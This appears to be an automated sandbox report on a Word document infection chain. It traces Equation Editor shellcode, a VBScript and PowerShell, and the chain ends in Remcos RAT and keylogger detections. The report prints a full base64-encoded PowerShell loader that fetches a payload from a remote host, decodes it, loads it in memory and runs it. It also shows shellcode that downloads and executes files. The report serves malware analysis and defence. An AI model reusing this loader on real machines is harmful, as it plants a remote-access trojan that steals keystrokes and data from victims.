                                                                                  2024-12-07 14:50:44 UTC1378INData Raw: 77 24 91 80 f7 ed aa 38 13 c5 74 2e 92 f9 a4 19 c0 50 c1 95 13 cc f4 aa d7 4f e2 f4 f6 cf 9a 34 12 6a 34 d1 ac 34 c0 35 95 3d b3 e9 ff 00 b5 df 0d 9e 5f 16 d1 c2 37 3c 8c ae 62 55 46 b2 4b 70 2d 85 9e 48 cf 03 04 29 1a 02 c8 cb 27 e1 22 e8 8f 87 f3 c0 63 45 08 87 48 b1 94 0b b9 a8 91 99 9a b8 22 87 5d 10 0c cd 1b b7 a8 92 00 02 e8 d6 6a e9 8a 5b 07 65 52 c0 a8 46 37 fa 62 5a 9d 3c 47 59 18 29 b4 1d c3 d2 47 3f 4c 09 9f 4f a7 74 d3 90 78 2c c0 37 bf 3c 73 8a 10 92 a8 46 da b2 2c 8a a8 77 71 9b 83 4e 8f 0a 82 ab ed c1 ac ce 7f 04 8d 35 22 50 e5 08 6b aa b1 81 68 b5 2c ec eb e5 80 55 14 32 31 a5 53 75 63 e7 97 d6 cd 1e a2 6d 36 91 ee de 4f 55 76 14 79 07 0b 2b 22 ef 72 88 c0 2f a9 8a 8e 6b 31 f4 8c da ed 7c d2 10 5c 85 3b 2c d5 0a 23 a6 06 b8 8b 6f 90 b0 bc
                                                                                  Data Ascii: w$8t.PO4j445=_7<bUFKp-H)'"cEH"]j[eRF7bZ<GY)G?LOtx,7<sF,wqN5"Pkh,U21Sucm6OUvy+"r/k1|\;,#o
                                                                                  2024-12-07 14:50:44 UTC1378INData Raw: 8c cd 80 06 22 88 00 fb 74 c5 c6 89 f4 fe 2d 26 ab ef 2f e5 b0 1e 8a 15 d3 03 7b ef a3 82 6d 4f 7c 20 f1 02 0b 6d 76 25 85 73 99 62 5f 34 d8 1c 7b e1 83 10 a3 8a b3 d7 01 8d 66 a0 49 0c 6a 5b 68 dc c7 75 e1 74 7a 92 cc 1f 71 de be 96 e6 f7 0f 7c c8 f1 3d 3b 6a 61 8e 38 e5 68 88 53 ea 51 cd e4 69 8b 69 b6 02 ec e5 68 59 ea 78 eb 81 ea 25 9c b2 90 2b 69 19 91 39 68 a6 8e 4d 96 a1 83 30 63 c6 30 9a 85 d8 ac 59 55 5b 81 67 92 71 2f 14 95 e6 85 a2 86 89 65 2a 6b b5 e0 6a 45 e2 ed 26 a4 45 1f aa 31 d4 a9 e0 1f 6c cd 97 c4 4b c9 2b 9e 77 31 20 fd 71 4d 32 2f 84 e8 00 6d cc e7 80 7b 9f 8e 27 14 ca fc 0f c3 cf 24 60 3a 67 91 e4 34 0b 1a be b9 07 54 77 8b e0 11 ef df 04 93 a2 2b 51 f5 1e 2b e1 99 7a 9d 2e ac 78 92 ce 35 2d f7 72 2b cb a1 5f 3c 0d 4d 46 b0 24 43 7b
                                                                                  Data Ascii: "t-&/{mO| mv%sb_4{fIj[hutzq|=;ja8hSQiihYx%+i9hM0c0YU[gq/e*kjE&E1lK+w1 qM2/m{'$`:g4Tw+Q+z.x5-r+_<MF$C{
                                                                                  2024-12-07 14:50:44 UTC1378INData Raw: 66 6d 4b f8 66 a7 61 05 96 26 b5 23 f1 70 73 f3 be ae 35 fb ac f2 15 01 99 ef 9e a3 9e d9 f5 ef 18 fb 5d a0 0b 26 92 09 a3 77 64 65 26 fe 07 fe bf ae 7c 9f 57 2c 6f e1 f2 21 70 ae ac 0d 7b e0 62 6c 20 6e 07 80 31 dd 33 bb 44 39 b3 7c 83 8a 79 8d b8 86 e0 1e 31 9d 15 14 65 07 a6 03 88 18 2d 95 5e 72 e2 32 ca 6d 45 1c ac a8 16 35 3b e8 8c a9 d4 24 41 44 8e 59 8f 4e 0e 01 3c b5 58 f6 8b 5a 3c 57 4c 80 be e2 fe 63 38 92 e0 90 f4 3a d6 5c be c4 0e ce 02 81 f9 e0 42 26 e0 56 94 1f 6c 23 82 aa 2d 54 0d c4 8f 8e 29 06 b5 25 76 51 e8 3d af be 32 1d 5c 6d 2c 09 1d f0 0f 13 72 3a 7d 71 b5 72 07 52 7e 03 33 d0 d6 da 3c f7 c6 44 6b d2 46 56 37 55 7d 0e 01 0c 8f 24 8a 63 ba f6 03 bf b6 3a 74 d3 3c 51 3c 60 33 49 b7 d3 e9 0c 2f a1 da 1b 77 36 39 34 39 1e f9 5d 14 f0 e9
                                                                                  Data Ascii: fmKfa&#ps5]&wde&|W,o!p{bl n13D9|y1e-^r2mE5;$ADYN<XZ<WLc8:\B&Vl#-T)%vQ=2\m,r:}qrR~3<DkFV7U}$c:t<Q<`3I/w6949]
                                                                                  2024-12-07 14:50:44 UTC1378INData Raw: 02 f2 41 e0 62 ed a9 02 44 70 8a c0 0b 66 63 c8 f9 65 03 79 a4 21 b2 3a 71 db 03 2e c8 9c 24 7b 9a fa fc 06 07 ba 3a c5 79 3c b6 3b 59 7b 91 f8 be 58 b6 b4 02 37 6d e7 bf c7 25 cd 2d 06 2c 3f 17 06 b1 43 36 d6 28 cc d4 dc 82 47 4f ae 00 1d 03 03 e9 c0 ec 01 b6 ed e9 8e 05 3b 6a ab db e3 95 f2 8b 03 5c 0e f8 0b 30 55 21 42 96 63 d1 47 7c 22 e8 dc 95 79 9d ae ec 20 6e 07 cf 0e a8 ab ca a5 03 d0 e5 e2 47 67 a2 2e b0 07 20 26 43 e9 ed c7 1f d7 2a 51 c2 9b 5e b8 47 23 71 04 51 ca 16 24 71 80 22 18 70 16 b2 e8 8c 48 39 60 bc d0 be 7a d6 6a 78 57 86 2e b9 a5 56 b5 0a bf 89 7a 86 c0 48 0f 49 17 47 2b b5 98 10 1b 93 c0 cf 56 3c 0f 47 c3 04 90 81 41 bd 46 c9 ae bc 63 71 e8 74 b1 a8 03 4d 18 ae fb 45 fe 67 03 c2 18 66 d3 b5 14 60 4f 3e ae f9 74 0c ec 41 5c f7 6f a7
                                                                                  Data Ascii: AbDpfcey!:q.${:y<;Y{X7m%-,?C6(GO;j\0U!BcG|"y nGg. &C*Q^G#qQ$q"pH9`zjxW.VzHIG+V<GAFcqtMEgf`O>tA\o
                                                                                  2024-12-07 14:50:44 UTC1378INData Raw: f1 15 94 48 14 8d b6 ca df a7 03 e9 f1 cc df b0 9a 89 a3 d3 7d a7 48 0c aa 4f 84 33 7a 05 9a 12 c4 39 ae db 49 07 e1 78 6f b5 a3 56 df b4 cd 42 6a db 6c ad a8 85 db 71 e8 19 51 81 f8 0a 38 1e fb ed 9c ba 65 d2 cd f6 82 49 4c da 88 d8 68 f4 fb a3 2c b1 f9 91 ee 2f 67 f1 10 a1 80 1d 8b 03 db 3e 6f a5 7d 2b 49 12 ef 8d 83 7e 0e 3a 8a 24 9e 9c 1f 7f 9e 7b 5f da 44 2f a0 f0 ff 00 0d 48 24 46 1a ad 05 36 c4 5a 71 4a 40 aa e7 9a e7 3e 65 f7 7d 42 08 d6 35 7a f2 dd 94 dd 6d 62 bd 30 35 27 d2 46 65 8a 40 54 aa 93 60 8b fd 30 5e 46 98 ea 15 46 9d 41 55 2d c8 a1 f9 74 c4 92 09 9f 4c c3 d4 a4 44 a1 94 25 7a 87 23 a9 e4 f1 97 58 35 0d 34 6e c8 f4 ec 25 2c 79 da 45 d0 fc ab 03 61 20 d3 6d dd b1 16 bd 94 56 56 5d 3e 92 65 37 1a 5d 75 0b 99 9a 6d 43 a4 c1 0e 9a c9 dc 4b
                                                                                  Data Ascii: H}HO3z9IxoVBjlqQ8eILh,/g>o}+I~:${_D/H$F6ZqJ@>e}B5zmb05'Fe@T`0^FFAU-tLD%z#X54n%,yEa mVV]>e7]umCK
                                                                                  2024-12-07 14:50:44 UTC1378INData Raw: 0f 38 48 fe dc e9 54 9b 82 4d fd 58 12 28 e7 cf e7 79 21 87 cc 2e ca e0 72 a8 2f 13 89 e4 d5 5b c6 ee 48 fc 4a c2 b0 3d e6 a7 ed f6 98 ea 3f 79 a6 90 83 de c0 c9 3f 6c 74 82 88 d3 b8 53 ec dc e7 cf a5 47 2d be 6b bb a0 06 3f 04 cd 0a 82 f0 2c 8a dc 0d d8 1e b9 be da e9 18 d7 95 29 3d bd 57 94 7f b7 3a 54 50 7e eb 2b 3d 55 93 9e 6a 2d 56 9b 54 ac 53 49 12 95 34 48 26 ef 17 95 d7 cc 56 11 2f c4 73 c6 07 a8 9b ed f6 8a 14 2c 74 ce 1a ba 6e ac cb f0 9f b5 be 11 e1 d3 4b 20 4d 43 bc c7 73 6e 6b 0a 7d 80 ac cd 30 69 b5 3e 96 d2 a3 12 3f 10 ea 33 16 5f 04 d4 0d 63 46 8b 69 d4 37 41 81 bf e3 9f 6c e5 d4 f8 a4 53 78 74 af 0c 51 0d db 4d 90 cd ec 46 7a 78 be de e8 bc a5 59 f4 ec d2 6c 05 88 60 05 9f 60 73 c1 41 e0 b1 23 7e f8 b3 f1 cf 6a 39 a9 f7 7d 24 6a 0b a0 07
                                                                                  Data Ascii: 8HTMX(y!.r/[HJ=?y?ltSG-k?,)=W:TP~+=Uj-VTSI4H&V/s,tnK MCsnk}0i>?3_cFi7AlSxtQMFzxYl``sA#~j9}$j
                                                                                  2024-12-07 14:50:44 UTC1378INData Raw: 93 c3 b9 dc ee 49 76 31 34 6a b8 dc 05 11 d7 8b bc 70 f8 b6 92 49 de 46 2e 1e 55 62 e4 a2 90 58 83 c9 1d f8 24 59 b3 de f3 0e 69 7c cd a2 ec 2a 95 51 55 42 c9 fa f5 38 17 95 15 a4 31 a2 aa b2 83 6b 1d 91 c5 d9 b2 7d b2 da 77 31 22 d4 65 b7 b1 50 7d c8 af ee 30 63 51 21 05 4b 02 0d d9 2a 09 e7 ad 1a b1 91 1c 92 aa 00 ad 41 4e e0 3d 8f 1f db 01 89 35 3b c0 20 15 db de f0 6f a9 56 75 76 dc 48 ed bb 8c 08 5b 4a 17 7d f9 ca 88 49 e2 f9 18 1a 03 c4 23 6b 26 3e a2 b2 24 d6 c3 22 14 64 b1 ef ed 88 84 29 76 39 ca bd 12 08 bf cb 00 a4 c2 14 98 d5 83 0e 84 9c 9d 36 a5 e0 63 42 c9 e7 9c 18 e0 82 47 07 2c 14 16 14 d5 f0 ac 0d 24 f1 5d a4 03 18 2f ee 33 6b 47 ad d3 3e 98 4d 26 91 19 99 d9 77 32 b9 ae 9e a2 43 00 33 ca 86 52 de ae 08 03 9c 29 21 94 85 5e 2a b8 e3 eb d7
                                                                                  Data Ascii: Iv14jpIF.UbX$Yi|*QUB81k}w1"eP}0cQ!K*AN=5; oVuvH[J}I#k&>$"d)v96cBG,$]/3kG>M&w2C3R)!^*
                                                                                  2024-12-07 14:50:44 UTC1378INData Raw: 55 78 17 d8 df cf 2b 2c 4e 80 47 2a b5 05 dd 83 d3 29 55 65 55 65 1b 88 c0 d0 66 49 22 dc ae c1 81 be 17 8e 98 b8 77 8c 15 90 2d 6e ea 32 88 5e 32 40 1b ab 2a 25 32 69 64 0c c3 75 1f cc 74 c0 b4 00 44 43 48 3d 24 9e be d9 57 87 73 82 09 b3 d6 b1 53 aa 77 34 e4 5d 03 47 e5 93 f7 c4 14 49 da 40 2a 7e 3f 96 07 ad 79 e3 61 bd 4e d0 7b e4 95 8a 45 b0 c5 8f c3 02 ba 33 cb 53 00 3b 9c 80 42 b1 3b b9 f9 60 18 ce aa 42 b2 86 1d 2c 76 f9 e3 0e ab 40 03 c5 70 31 00 f6 a4 48 6a fa 1d b8 cc 2f e7 00 a5 a9 94 58 f8 8c 0e 24 5d 61 13 77 6b 03 e1 92 17 af 1f 8b 8b c9 29 b5 49 1f 2c 00 18 b9 2d 6c 4f c7 28 47 15 75 86 08 42 f2 6b 2a c9 e9 3e bc 08 42 03 02 af 44 f7 ba cd 6f 04 d6 47 a2 d4 4a f3 be d5 70 2b 82 6d be 99 8e 14 03 f8 ac e1 01 2b d3 ad 7b d6 07 a4 f1 bd 8b 0a
                                                                                  Data Ascii: Ux+,NG*)UeUefI"w-n2^2@*%2idutDCH=$WsSw4]GI@*~?yaN{E3S;B;`B,v@p1Hj/X$]awk)I,-lO(GuBk*>BDoGJp+m+{
                                                                                  2024-12-07 14:50:44 UTC1378INData Raw: 20 86 62 6f b7 53 95 e9 c1 c0 bc 8f be be 19 5d c4 8a ed 90 7e 1d 32 39 c0 90 48 37 9c 4d 9c e1 d7 9e 99 6a 5f 2e ef d5 7d 3e 18 10 8a 5d c2 8e a7 8c 69 34 c5 24 56 24 30 0d 46 b1 55 b1 ea 1d 46 31 16 a9 92 68 d9 85 aa 90 6b 01 c1 a3 1f 78 16 c0 03 ea 1c d1 c0 ea a1 47 d4 b2 c6 e2 c0 b3 63 fa e0 66 d4 34 f3 16 51 42 c9 03 28 ac 03 31 65 dc 4f 7f 6c 06 e7 83 7e 99 69 cb 32 f7 6e ff 00 2c 5a 39 4a c0 e9 cd 9e 38 cd 24 4f 37 40 10 47 6c 3a 1f ae 27 36 92 58 80 97 69 00 1b 35 81 30 05 58 83 ca 01 00 f7 cf b2 7e cf b4 a9 3f ec fb 47 a6 9e 36 97 4f a8 fb 42 11 94 77 56 88 29 e7 b7 cf b6 7c 6a 58 19 c8 f2 eb 6d 73 66 8f 39 fa 1b f6 20 88 bf 60 e7 77 65 21 f5 ce 36 b3 71 7b 50 00 47 c4 d0 fa e0 7c f3 ec 86 96 0d 24 df 69 61 de cc 9f 72 5f 4c 4e 18 b2 99 62 23 d4
                                                                                  Data Ascii: boS]~29H7Mj_.}>]i4$V$0FUF1hkxGcf4QB(1eOl~i2n,Z9J8$O7@Gl:'6Xi50X~?G6OBwV)|jXmsf9 `we!6q{PG|$iar_LNb#


                                                                                  Statistics

                                                                                  CPU Usage

                                                                                  Click to jump to process

                                                                                  Memory Usage

                                                                                  Click to jump to process

                                                                                  High Level Behavior Distribution

                                                                                  Click to dive into process behavior distribution

                                                                                  Behavior

                                                                                  Click to jump to process

                                                                                  System Behavior

                                                                                  General

                                                                                  Target ID:0
                                                                                  Start time:09:50:32
                                                                                  Start date:07/12/2024
                                                                                  Path:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                                                                                  Wow64 process (32bit):false
                                                                                  Commandline:"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
                                                                                  Imagebase:0x13f490000
                                                                                  File size:1'423'704 bytes
                                                                                  MD5 hash:9EE74859D22DAE61F1750B3A1BACB6F5
                                                                                  Has elevated privileges:true
                                                                                  Has administrator privileges:true
                                                                                  Programmed in:C, C++ or other language
                                                                                  Reputation:high
                                                                                  Has exited:true

                                                                                  General

                                                                                  Target ID:2
                                                                                  Start time:09:50:33
                                                                                  Start date:07/12/2024
                                                                                  Path:C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
                                                                                  Wow64 process (32bit):true
                                                                                  Commandline:"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
                                                                                  Imagebase:0x400000
                                                                                  File size:543'304 bytes
                                                                                  MD5 hash:A87236E214F6D42A65F5DEDAC816AEC8
                                                                                  Has elevated privileges:true
                                                                                  Has administrator privileges:true
                                                                                  Programmed in:C, C++ or other language
                                                                                  Reputation:high
                                                                                  Has exited:true

                                                                                  General

                                                                                  Target ID:5
                                                                                  Start time:09:50:38
                                                                                  Start date:07/12/2024
                                                                                  Path:C:\Windows\SysWOW64\wscript.exe
                                                                                  Wow64 process (32bit):true
                                                                                  Commandline:"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\givemebestthingswithgreatentierymatterofgo.vbS"
                                                                                  Imagebase:0x6d0000
                                                                                  File size:141'824 bytes
                                                                                  MD5 hash:979D74799EA6C8B8167869A68DF5204A
                                                                                  Has elevated privileges:true
                                                                                  Has administrator privileges:true
                                                                                  Programmed in:C, C++ or other language
                                                                                  Reputation:high
                                                                                  Has exited:true

                                                                                  General

                                                                                  Target ID:6
                                                                                  Start time:09:50:38
                                                                                  Start date:07/12/2024
                                                                                  Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                  Wow64 process (32bit):true
                                                                                  Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $dialoguer = 'JGNvbXBhY3Rpb24gPSAnaHR0cHM6Ly9yZXMuY2xvdWRpbmFyeS5jb20vZHl0Zmx0NjFuL2ltYWdlL3VwbG9hZC92MTczMzEzNDk0Ny9ia2xweXNleWV1dDRpbXB3NTBuMS5qcGcgJzskZGV0b3hpY2F0ZXMgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyR0aG9sZWlpdGUgPSAkZGV0b3hpY2F0ZXMuRG93bmxvYWREYXRhKCRjb21wYWN0aW9uKTskZmxvb3Jib2FyZCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCR0aG9sZWlpdGUpOyRwYXNzYWdld2F5ID0gJzw8QkFTRTY0X1NUQVJUPj4nOyRjaG9sZXJhaWMgPSAnPDxCQVNFNjRfRU5EPj4nOyRleHB1cmdhdGVzID0gJGZsb29yYm9hcmQuSW5kZXhPZigkcGFzc2FnZXdheSk7JHNpY2NpbmcgPSAkZmxvb3Jib2FyZC5JbmRleE9mKCRjaG9sZXJhaWMpOyRleHB1cmdhdGVzIC1nZSAwIC1hbmQgJHNpY2NpbmcgLWd0ICRleHB1cmdhdGVzOyRleHB1cmdhdGVzICs9ICRwYXNzYWdld2F5Lkxlbmd0aDskYWxiaW5vdGljID0gJHNpY2NpbmcgLSAkZXhwdXJnYXRlczskc2VlZGNha2UgPSAkZmxvb3Jib2FyZC5TdWJzdHJpbmcoJGV4cHVyZ2F0ZXMsICRhbGJpbm90aWMpOyRmcmVha2luZyA9IC1qb2luICgkc2VlZGNha2UuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJHNlZWRjYWtlLkxlbmd0aCldOyRncmVldGVkID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkZnJlYWtpbmcpOyRjaGluZXMgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRncmVldGVkKTskcGludGFpbCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRwaW50YWlsLkludm9rZSgkbnVsbCwgQCgndHh0LlJSWk1ILzQ1Ni85MTIuMTYxLjYwMS43OC8vOnB0dGgnLCAnJGNhbW9taWxlJywgJyRjYW1vbWlsZScsICckY2Ftb21pbGUnLCAnQ2FzUG9sJywgJyRjYW1vbWlsZScsICckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCcxJywnJGNhbW9taWxlJykpOw==';$crunodes = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($dialoguer));Invoke-Expression $crunodes
                                                                                  Imagebase:0x1380000
                                                                                  File size:427'008 bytes
                                                                                  MD5 hash:EB32C070E658937AA9FA9F3AE629B2B8
                                                                                  Has elevated privileges:true
                                                                                  Has administrator privileges:true
                                                                                  Programmed in:C, C++ or other language
                                                                                  Yara matches:
                                                                                  • Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000006.00000002.412425287.0000000003959000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                  • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000006.00000002.412425287.0000000003959000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                  • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000006.00000002.412425287.0000000003959000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                  • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000006.00000002.412425287.0000000003959000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                                                                  Reputation:high
                                                                                  Has exited:true

                                                                                  General

                                                                                  Target ID:8
                                                                                  Start time:09:51:01
                                                                                  Start date:07/12/2024
                                                                                  Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                  Wow64 process (32bit):true
                                                                                  Commandline:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
                                                                                  Imagebase:0x1240000
                                                                                  File size:107'704 bytes
                                                                                  MD5 hash:8AD6D0D81FEC2856B8DCABEE8D678F61
                                                                                  Has elevated privileges:true
                                                                                  Has administrator privileges:true
                                                                                  Programmed in:C, C++ or other language
                                                                                  Yara matches:
                                                                                  • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000008.00000002.887359657.00000000005E5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                  • Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                  • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                  • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                  • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                                                                                  • Rule: REMCOS_RAT_variants, Description: unknown, Source: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                                                                                  • Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
                                                                                  Reputation:moderate
                                                                                  Has exited:false

                                                                                  Disassembly

                                                                                  Reset < >

                                                                                    Execution Graph

                                                                                    Execution Coverage:31.9%
                                                                                    Dynamic/Decrypted Code Coverage:0%
                                                                                    Signature Coverage:79.4%
                                                                                    Total number of Nodes:63
                                                                                    Total number of Limit Nodes:6
                                                                                    execution_graph 395 35604fe 398 356051b ExitProcess 395->398 403 3560534 398->403 404 356053a 403->404 409 3560550 404->409 410 3560556 409->410 415 3560577 410->415 416 356057a 415->416 419 35605fb 416->419 420 35605fd 419->420 421 3560610 15 API calls 420->421 422 3560602 421->422 333 356072d GetPEB 334 356073b 333->334 335 35605fb 336 35605fd 335->336 339 3560610 LoadLibraryW 336->339 354 356062a 339->354 343 356063b URLDownloadToFileW 345 35606dc 343->345 368 35606ec 343->368 377 3560701 345->377 349 35606fb ShellExecuteW 383 3560726 349->383 351 3560602 352 356071a 352->351 353 3560729 ExitProcess 352->353 355 356062d 354->355 356 35606d3 8 API calls 355->356 357 356063b URLDownloadToFileW 355->357 356->357 359 35606dc 357->359 360 35606ec 5 API calls 357->360 361 3560701 3 API calls 359->361 360->359 362 35606f3 361->362 363 3560617 362->363 364 35606fb ShellExecuteW 362->364 363->343 385 35606d3 URLDownloadToFileW 363->385 365 3560726 ExitProcess 364->365 366 356071a 365->366 366->363 367 3560729 ExitProcess 366->367 369 35606ee 368->369 370 35606f3 369->370 371 3560701 3 API calls 369->371 372 35606fb ShellExecuteW 370->372 374 3560760 370->374 371->370 373 3560726 ExitProcess 372->373 375 356071a 373->375 374->345 375->374 376 3560729 ExitProcess 375->376 378 3560704 ShellExecuteW 377->378 379 3560726 ExitProcess 378->379 381 356071a 378->381 379->381 380 35606f3 380->349 380->351 381->380 382 3560729 ExitProcess 381->382 384 3560729 ExitProcess 383->384 386 35606ec 5 API calls 385->386 387 35606dc 386->387 388 3560701 3 API calls 387->388 389 35606f3 388->389 390 35606fb ShellExecuteW 389->390 393 3560760 389->393 391 3560726 ExitProcess 390->391 392 356071a 391->392 392->393 394 3560729 ExitProcess 392->394 393->343

                                                                                    Callgraph

                                                                                    Executed Functions

                                                                                    Function 03560610 Relevance: 6.1, APIs: 4, Instructions: 114libraryCOMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    • Executed
                                                                                    • Not Executed
                                                                                    control_flow_graph 0 3560610-356061c LoadLibraryW call 356062a 3 356061e-356068a call 35606d3 0->3 4 356068c-35606d5 URLDownloadToFileW 0->4 3->4 16 35606dc-35606f9 call 3560701 4->16 17 35606d7 call 35606ec 4->17 21 3560760-356076c 16->21 22 35606fb-356071d ShellExecuteW call 3560726 16->22 17->16 23 356076f 21->23 22->23 34 356071f 22->34 25 3560777-356077b 23->25 26 3560771-3560775 23->26 29 3560790-3560792 25->29 30 356077d-3560781 25->30 26->25 28 3560783-356078a 26->28 32 356078e 28->32 33 356078c 28->33 35 35607a2-35607a3 29->35 30->28 30->29 36 3560794-356079d 32->36 33->29 34->29 37 3560721-356072b ExitProcess 34->37 40 3560766-3560769 36->40 41 356079f 36->41 40->36 42 356076b 40->42 41->35 42->23
                                                                                    APIs
                                                                                    • LoadLibraryW.KERNEL32(03560602), ref: 03560610
                                                                                      • Part of subcall function 0356062A: URLDownloadToFileW.URLMON(00000000,0356063B,?,00000000,00000000), ref: 035606D5
                                                                                      • Part of subcall function 0356062A: ShellExecuteW.SHELL32(00000000,00000000,?,00000000,00000000,00000001), ref: 03560713
                                                                                      • Part of subcall function 0356062A: ExitProcess.KERNEL32(00000000), ref: 0356072B
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000002.00000002.362834487.0000000003560000.00000004.00000020.00020000.00000000.sdmp, Offset: 03560000, based on PE: false
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_2_2_3560000_EQNEDT32.jbxd
                                                                                    Similarity
                                                                                    • API ID: DownloadExecuteExitFileLibraryLoadProcessShell
                                                                                    • String ID:
                                                                                    • API String ID: 2508257586-0
                                                                                    • Opcode ID: 14d0526c0fabe9730b482714d085666eb5aae47c9cc63d8198e9fec598a31450
                                                                                    • Instruction ID: abce10aa516707bcdbf471732f07d97232944c3227880528e55cc9317e26c956
                                                                                    • Opcode Fuzzy Hash: 14d0526c0fabe9730b482714d085666eb5aae47c9cc63d8198e9fec598a31450
                                                                                    • Instruction Fuzzy Hash: BB4126A284C3C12FD723D7746D6E615BF657BA3104F5D8ACED0C60B8E3E6989101C7A6
                                                                                    Function 0356062A Relevance: 4.6, APIs: 3, Instructions: 100COMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    • Executed
                                                                                    • Not Executed
                                                                                    control_flow_graph 44 356062a-3560635 46 356063b-35606d5 URLDownloadToFileW 44->46 47 3560636 call 35606d3 44->47 58 35606dc-35606f9 call 3560701 46->58 59 35606d7 call 35606ec 46->59 47->46 63 3560760-356076c 58->63 64 35606fb-356071d ShellExecuteW call 3560726 58->64 59->58 65 356076f 63->65 64->65 76 356071f 64->76 67 3560777-356077b 65->67 68 3560771-3560775 65->68 71 3560790-3560792 67->71 72 356077d-3560781 67->72 68->67 70 3560783-356078a 68->70 74 356078e 70->74 75 356078c 70->75 77 35607a2-35607a3 71->77 72->70 72->71 78 3560794-356079d 74->78 75->71 76->71 79 3560721-356072b ExitProcess 76->79 82 3560766-3560769 78->82 83 356079f 78->83 82->78 84 356076b 82->84 83->77 84->65
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000002.00000002.362834487.0000000003560000.00000004.00000020.00020000.00000000.sdmp, Offset: 03560000, based on PE: false
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_2_2_3560000_EQNEDT32.jbxd
                                                                                    Similarity
                                                                                    • API ID: DownloadExecuteExitFileProcessShell
                                                                                    • String ID:
                                                                                    • API String ID: 3584569557-0
                                                                                    • Opcode ID: 91bdf74b5ae43089cb372e685d3bf312ce2d9c4e1b9c769c364ff7398cf3d900
                                                                                    • Instruction ID: 762dfde8b06e004724aa2879211e36b11ce8785ee7546b1b2b326d0d05c681bf
                                                                                    • Opcode Fuzzy Hash: 91bdf74b5ae43089cb372e685d3bf312ce2d9c4e1b9c769c364ff7398cf3d900
                                                                                    • Instruction Fuzzy Hash: F831F2A294C3C21FDB23D7745C6DA15BF656FA3104F6D8ACE90C60B8E3E6989001C7A2
                                                                                    Function 035606D3 Relevance: 4.5, APIs: 3, Instructions: 37filenetworkCOMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    • Executed
                                                                                    • Not Executed
                                                                                    control_flow_graph 86 35606d3-35606f9 URLDownloadToFileW call 35606ec call 3560701 92 3560760-356076c 86->92 93 35606fb-356071d ShellExecuteW call 3560726 86->93 94 356076f 92->94 93->94 105 356071f 93->105 96 3560777-356077b 94->96 97 3560771-3560775 94->97 100 3560790-3560792 96->100 101 356077d-3560781 96->101 97->96 99 3560783-356078a 97->99 103 356078e 99->103 104 356078c 99->104 106 35607a2-35607a3 100->106 101->99 101->100 107 3560794-356079d 103->107 104->100 105->100 108 3560721-356072b ExitProcess 105->108 111 3560766-3560769 107->111 112 356079f 107->112 111->107 113 356076b 111->113 112->106 113->94
                                                                                    APIs
                                                                                    • URLDownloadToFileW.URLMON(00000000,0356063B,?,00000000,00000000), ref: 035606D5
                                                                                      • Part of subcall function 035606EC: ShellExecuteW.SHELL32(00000000,00000000,?,00000000,00000000,00000001), ref: 03560713
                                                                                      • Part of subcall function 035606EC: ExitProcess.KERNEL32(00000000), ref: 0356072B
                                                                                    Memory Dump Source
